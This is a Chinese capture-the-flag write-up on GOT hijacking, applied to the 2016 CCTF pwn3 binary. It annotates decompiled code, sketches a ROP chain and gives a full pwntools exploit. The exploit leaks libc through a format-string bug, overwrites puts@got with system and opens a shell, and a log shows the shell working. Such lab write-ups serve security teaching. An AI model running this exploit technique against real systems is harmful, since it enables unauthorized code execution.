wiki-hijack GOT

1:原理

在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO(即 partial RELRO)前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。

假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:

  • 确定函数 A 的 GOT 表地址
    这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。IDA或是ELF等

  • 确定函数 B 的内存地址
    这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。

  • 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处

这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下3种

写入函数:write 函数。

ROP:
pop eax; ret; # printf@got -> eax
pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx 函数间的偏移量
add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset

格式化字符串任意地址写

2:例子2016 CCTF – pwn3

checksec:

hunter@hunter:~/PWN/wiki/formal$ checksec pwn3
[*] '/home/hunter/PWN/wiki/formal/pwn3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled           #只开了NX
    PIE:      No PIE (0x8048000)

IDA:


ask_username(&s1)和ask_password(&s1)函数可以很容易得出:要输入rxraclhm。
get_command()函数,就是输入get,put,dir然后会进入下面相应的函数,如果输入其他的直接退出程序
接下来隆重介绍以下函数:
put_file()函数

_DWORD *put_file()
{
  _DWORD *v0; // ST1C_4     #v0是一个指针,其大小为DWORD4个字节
  _DWORD *result; // eax

  v0 = malloc(244u);     #malloc函数开辟一个大小为244的堆区
  printf("please enter the name of the file you want to upload:");
  get_input((int)v0, 40, 1);    #get_input函数别有乾坤
  printf("then, enter the content:");
  get_input((int)(v0 + 10), 200, 1);
  v0[60] = file_head;        #file_head是一个全局变量, BSS段
  result = v0;
  file_head = (int)v0;     #最后堆区的地址给到了file_head Bss段全局变量
  return result;
}

get_input函数    将堆区的地址v0传入即a1
// a1是地址  a2是大小  a3是1
signed int __cdecl get_input(int a1, int a2, int a3)
{
  signed int result; // eax
  _BYTE *v4; // [esp+18h] [ebp-10h]
  int v5; // [esp+1Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v5 + a1);       
    result = fread((void *)(v5 + a1), 1u, 1u, stdin);   #往a1里面读入字符,一次读一个whle循环
    if ( result <= 0 )
      break;
    if ( *v4 == 10 && a3 )   *v4应该不会等于10,所以我觉都这个if语句完全不会执行,直接执行else
    {
      if ( v5 )
      {
        result = v5 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = ++v5;    
      if ( v5 >= a2 )     #控制输入量不会大于a2
        return result;
    }
  }
  return result;
}

所以get_input大致作用是:标准输入中读入字符串,写入堆区v0。第一个get_input最多40个字节(字符),第二个从堆区(v0 + 10)开始因为v0是大小为4字节的指针,所以加10将
刚好从40个字节后开始填入字符串,最多读入200个:

show_dir函数:

int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 1024u);                              // 将s数组置零
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )    #首先i被赋值file_head即堆区地址,发现中间i并没有判断,后面的i再次进行赋值
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )    #中间也没有明显的进行判断
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);    #对s数组逐个赋值,从堆区地址开始
    }
  }
  return puts(s);
}

第一个for循环:i先被赋予堆区地址,中间的表达式(即i)不为0,执行一次内部语句后,i又被堆区240个字节开始赋值,靠后的应该这个区域值为0,所以第一个for应该只会执行一次
第二个for循环:中间是直接对(i + j)地址解引用,即(i + j)地址上的字节,显然解引用到值为0的地址才会停。
最后是调用puts函数其参数就是经过赋值后的s。

那么如果我file_name很短,那就只会将fiel_name赋给s数组,然后输出s(什么名字40个字符这么长??)。那么基本就可以确定puts的参数就是s即file_name

get_file函数:

int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);   #显然这里不会存在溢出
  if ( !strncmp(&s1, "flag", 4u) )    
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )   #第一个是i被赋予堆区地址,第二个i显然不会为0,第三个将i转换为4字节指针后加60那其实
                                                                        又是堆区240字节后的区域,将使i= 0 ,所以这个for也只执行一次
  {
    if ( !strcmp(i, &s1) )                      // 堆区开头是file_name 所以输入对应的file_name到s1即可进入if
    {
      strcpy(&dest, i + 40);                    // i+40地址处的是我们的content 
      return printf(&dest);
    }
  }
  return printf(&dest);
}

所以整个函数是你输入对应的file_name就输出对应的tontent(结合程序本身,伪码有些不一定准确),显然这个printf是存在格式化字符串漏洞的,但是它的参数是i+40即tontent的内容。

思路:

首先可以用这个漏洞泄露函数真实地址,从而得到libc版本。又ASLR没开,能漏洞改写函数got表上的地址,改成system地址。因为我们不能控制程序流程,只能靠跳转实现system(无法在栈上构造数据)。system函数只有一个参数,纵观程序中所有函数只有puts函数如此相像,我们想办法把puts的got表上的地址改为system地址,然后它的参数s内容搞成/bin/sh字符串即可。

确定格式化字符串参数偏移
利用 __libc_start_main_got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
参数s就是我们的file_name
修改 puts@got 的内容为 system 的地址。
当程序再次执行 puts 函数的时候,其实执行的是 system 函数。

EXP:

注意printf漏洞是在get_file函数中实现的,所以一定要记得调用get选项

from pwn import*
from LibcSearcher import* 
context.log_level = 'debug'
elf = ELF('pwn3')
puts_got = elf.got['puts']
main_start_got = elf.got['__libc_start_main']
print hex(main_start_got)
print hex(puts_got)

sh = process('./pwn3')
print sh.recv()
sh.sendline('rxraclhm')     #密码绕过
print sh.recv()

sh.sendline('put')   #调用put函数
print sh.recv()

name = '/sh'      #名字/sh
sh.sendline(name)
content = '%8$s' + p32(main_start_got)     #准备__libc_start_main地址的泄露
sh.sendline(content)
print sh.recv()

sh.sendline('get')    #调用get函数利用漏洞
print sh.recv()
#gdb.attach(sh)
sh.sendline('/sh')    
#print u32(sh.recv(4))
main_start_addr = u32(sh.recv(4))   #得到地址

libc = LibcSearcher('__libc_start_main',main_start_addr)   #得到libc版本
libc_addr = main_start_addr - libc.dump('__libc_start_main')
print hex(libc_addr)
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
print hex(system_addr)
print hex(binsh_addr)

sh.sendline('dir')   
sh.recv()


sh.sendline('put')    #调用put函数
print sh.recv()
sh.sendline('/bin')    #名字/bin
payload = fmtstr_payload(7,{puts_got:system_addr})    #准备将system地址写入puts_got
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()

sh.sendline('get')   #调用get函数利用漏洞
sh.recv()
sh.sendline('/bin')  
print sh.recv()

sh.sendline('dir')   #调用dir函数,此时s是/bin/sh 可通过调试得出
#sh.recv()            最后将跳转puts函数参数为/bin/sh但执行system函数,得到shell
sh.interactive()

结果:

    000000d0  20 20 20 20  00 20 20 20  20 20 20 20  20 20 20 20  │    │·   │    │    │
    000000e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    000000f0  20 20 20 20  20 20 00 61  61 61 28 a0  04 08 29 a0  │    │  ·a│aa(·│··)·│
    00000100  04 08 2a a0  04 08 2b a0  04 08 66 74  70 3e        │··*·│··+·│··ft│p>│
    0000010e
               \x98            \x04                                                                                                                                                                                      \x00                                \x00aa(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04ftp>
[DEBUG] Sent 0x4 bytes:
    'dir\n'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

  转载请注明: Squarer wiki-hijack GOT

  目录